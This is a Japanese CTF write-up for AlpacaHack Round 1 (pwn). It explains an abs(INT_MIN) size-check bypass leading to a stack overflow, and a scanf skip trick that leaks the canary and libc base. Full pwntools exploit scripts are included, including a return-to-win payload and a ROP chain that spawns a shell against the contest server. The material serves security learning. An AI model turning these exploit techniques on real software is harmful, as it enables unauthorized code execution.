AlpacaHack Round 1 (Pwn)
22位だった
新しいCTFプラットフォームの記念すべき第一回目.
今回はpwnだけの出題だった.
たのしかったです.
echo
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
checksec
~/alpacahack/1/echo ❯ checksec echo [*] '/home/trimscash/alpacahack/1/echo/echo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
セキュリティ機構はほぼない.
ソースコードを見るとわかるように,bufの長さは固定だが,bufに入力するバイト数はユーザーが指定できるのでバッファオーバーフローがありそう.
int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; }
get_size
は以上のように定義されており,sizeに対してバリデートされてる.
absについて調べてみると
int バージョンの abs() の場合、使用できる最小の整数は INT_MIN+1 です。 (INT_MIN は、limits.h ヘッダー・ファイルに定義されているマクロです。) 例えば、z/OS® XL C/C++ コンパイラーの場合、INT_MIN+1 は -2147483648 です。 abs()、absf()、absl() - 整数絶対値の計算
とあるので,とりあえずINT_MINを入力してみる.すると,バリデーションを通過しBUF_SIZEの0x100よりも多く入力することができた.
あとは,NoCanary,NoPIEなのでリターンアドレスにwin関数のアドレスを入れるだけでいい.
from pwn import * binary_name = "./echo" remote_name = "34.170.146.252" remote_port = 17360 io = remote(remote_name, remote_port) # io = process(binary_name) # io = gdb.debug(binary_name, "b main\nc\n") elf = ELF("echo") INT_MIN = -2147483648 io.sendlineafter(b"Size: ", str(INT_MIN).encode()) BUF_SIZE = 0x100 win = elf.symbols["win"] payload = b"A" * BUF_SIZE + b"b" * 24 + p64(win) io.sendlineafter(b"Data: ", payload) io.interactive()
実行するとフラグが得られた
hexecho
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 int get_size() { int size = 0; scanf("%d%*c", &size); return size; } void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); hexecho(); return 0; }
checksec
~/alpacahack/1/hexecho ❯ checksec hexecho [*] '/home/trimscash/alpacahack/1/hexecho/hexecho' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
cannaryが追加された.また配布ファイルにlibc.so.6がある.
入力は,16進数で入力するようになった.
get_sizeを見てみると,sizeに制限はない.のでバッファオーバーフローがある.がcanaryと呼ばれるセキュリティ機構が有効になっているために単純には解けない.
get_hexに何かあるのだろう.見てみると以下のようになっている.
void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); }
特に問題はなさそうだが,ここでg
~x
などの16進数の値として無効な文字を入力したらどうなるだろうか.
~/alpacahack/1/hexecho ❯ ./hexecho Size: 10 Data (hex): x Received: 00 80 16 00 00 00 00 00 0c 00
するとどうだろうか.それ以降の入力が受け付けられず,bufの初期値が見れている.これを利用すればlibcのbaseアドレスやcanaryがリークできる.
しかし入力はできないので,どうしようもない.
なぜこうなるのだろうか.それは多分,x
などの無効な文字を入力したとき,scanfは入力バッファを消費せずに失敗するからだろう.(適当)
get_hexではscanfによる読み取りが成功したかどうかの判定がないために,失敗してもループが回ってしまう.これにより,無効な文字以降の入力が受け付けられず初期値を見ることができる.
では,入力バッファを消費しscanfを失敗させることはできるだろうか.
適当にそれっぽい文字を使って検証してみると..-
を使ったときにそれが実現できた.
~/alpacahack/1/hexecho 11s ❯ ./hexecho Size: 10 Data (hex): - - - a a a - - - - Received: 00 80 16 0a 0a 0a 00 00 0c 00
これを使うと,特定の場所は初期値のままにしておきながら,好きな場所に入力をすることができる.
これでいける.
手順としては以下の通り.
- libcのリークをする.
- mainに戻りもう一度入力できるようにする.
- libcを使ってROPする
ROP
とはretアドレスに、ある命令とret命令がセットになった,ROP Gadget
と呼ばれるコード片のアドレスをセットし,リターンを繰り返し任意のコードを実行する手法.
調べたら多分出てくるので詳しくは任せる.
以下適当に書いたきたないsolverをそのまま載せる
from pwn import * binary_name = "./hexecho" remote_name = "34.170.146.252" remote_port = 51786 io = remote(remote_name, remote_port) # io = process(binary_name) # io = gdb.debug(binary_name, "b main\nc\n") LIBC = ELF("./libc.so.6") def addr_to_hexs(addr): payload_bytes = [] for i in range(8): hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:] payload_bytes.append(hex_str[i * 2 : i * 2 + 2]) return payload_bytes[::-1] def addr_to_hexs_bytes(addr): payload_bytes = [] for i in range(8): hex_str = "0" * (16 - len(hex(addr)[2:])) + hex(addr)[2:] payload_bytes.append(hex_str[i * 2 : i * 2 + 2]) return "".join(payload_bytes[::-1]).encode() def hexs_str_to_addr(hexs): s = hexs.decode().split()[::-1] bs = "" for i in s: bs += i print(bs) return p64(int(bs, 16)) INT_MAX = 2147483647 BUF_SIZE = 0x100 io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x30).encode()) main = 0x401327 print(addr_to_hexs(main)) payload = b"-\n" * (BUF_SIZE + 0x18) + addr_to_hexs_bytes(main) + b"x" io.sendlineafter(b"Data (hex): ", payload) t = io.readline() print(t) canary_offset = 0x28 * 0x3 canary = hexs_str_to_addr(t[-(canary_offset + 1) : -(canary_offset + 1) + 0x8 * 3]) libc_start_main_offset = 0x8 * 0x3 libc_start_main = hexs_str_to_addr( t[-(libc_start_main_offset + 1) : -(libc_start_main_offset + 1) + 0x8 * 3] ) libc_setbuffer_offset = 0x8 * 0x9 * 0x3 libc_setbuffer = hexs_str_to_addr( t[-(libc_setbuffer_offset + 1) : -(libc_setbuffer_offset + 1) + 0x8 * 3] ) # 1e:00f0│ 0x7fffffffd028 —▸ 0x7ffff7e1357f (setbuffer+191) ◂— test dword ptr [rbx], 0x8000 print(canary) print(libc_start_main) print(libc_setbuffer) libc_leak = u64(libc_setbuffer) - LIBC.symbols["setbuffer"] - 191 system = libc_leak + LIBC.symbols["system"] pop_rdi = libc_leak + 0x1B9695 # pop rdi; ret; bin_sh = libc_leak + 0x001D8678 ret = 0x401370 print(hex(libc_leak)) io.sendlineafter(b"Size: ", str(BUF_SIZE + 0x40).encode()) payload = b"-\n" * (BUF_SIZE + 0x18) payload += addr_to_hexs_bytes((ret)) payload += addr_to_hexs_bytes((pop_rdi)) payload += addr_to_hexs_bytes((bin_sh)) payload += addr_to_hexs_bytes((system)) payload += b"x" io.sendlineafter(b"Data (hex): ", payload) t = io.readline() io.interactive()
- 補足
libcのアドレスは,gdbでデバッグしてスタック確認し,そのアドレスを出力からリークして使おう. その際,問題の実行ファイルが使うライブラリを変更してデバッグする.以下のサイトを見るといい.
rop gadget
の探し方はいろいろあって以下のツールを使ったり,radare2
とかを使うとよい.
github.com
以上
久しぶりにCTFに参加した気がする.
次の問題のdeck
で詰まった.悲しい.力が不足しているので精進します.
alpacahackはatcoderのCTF版みたいなものだと思うので,これによりこの先人口が増えればいいなと思いました.作ってくれてありがとう!つよつよ方..!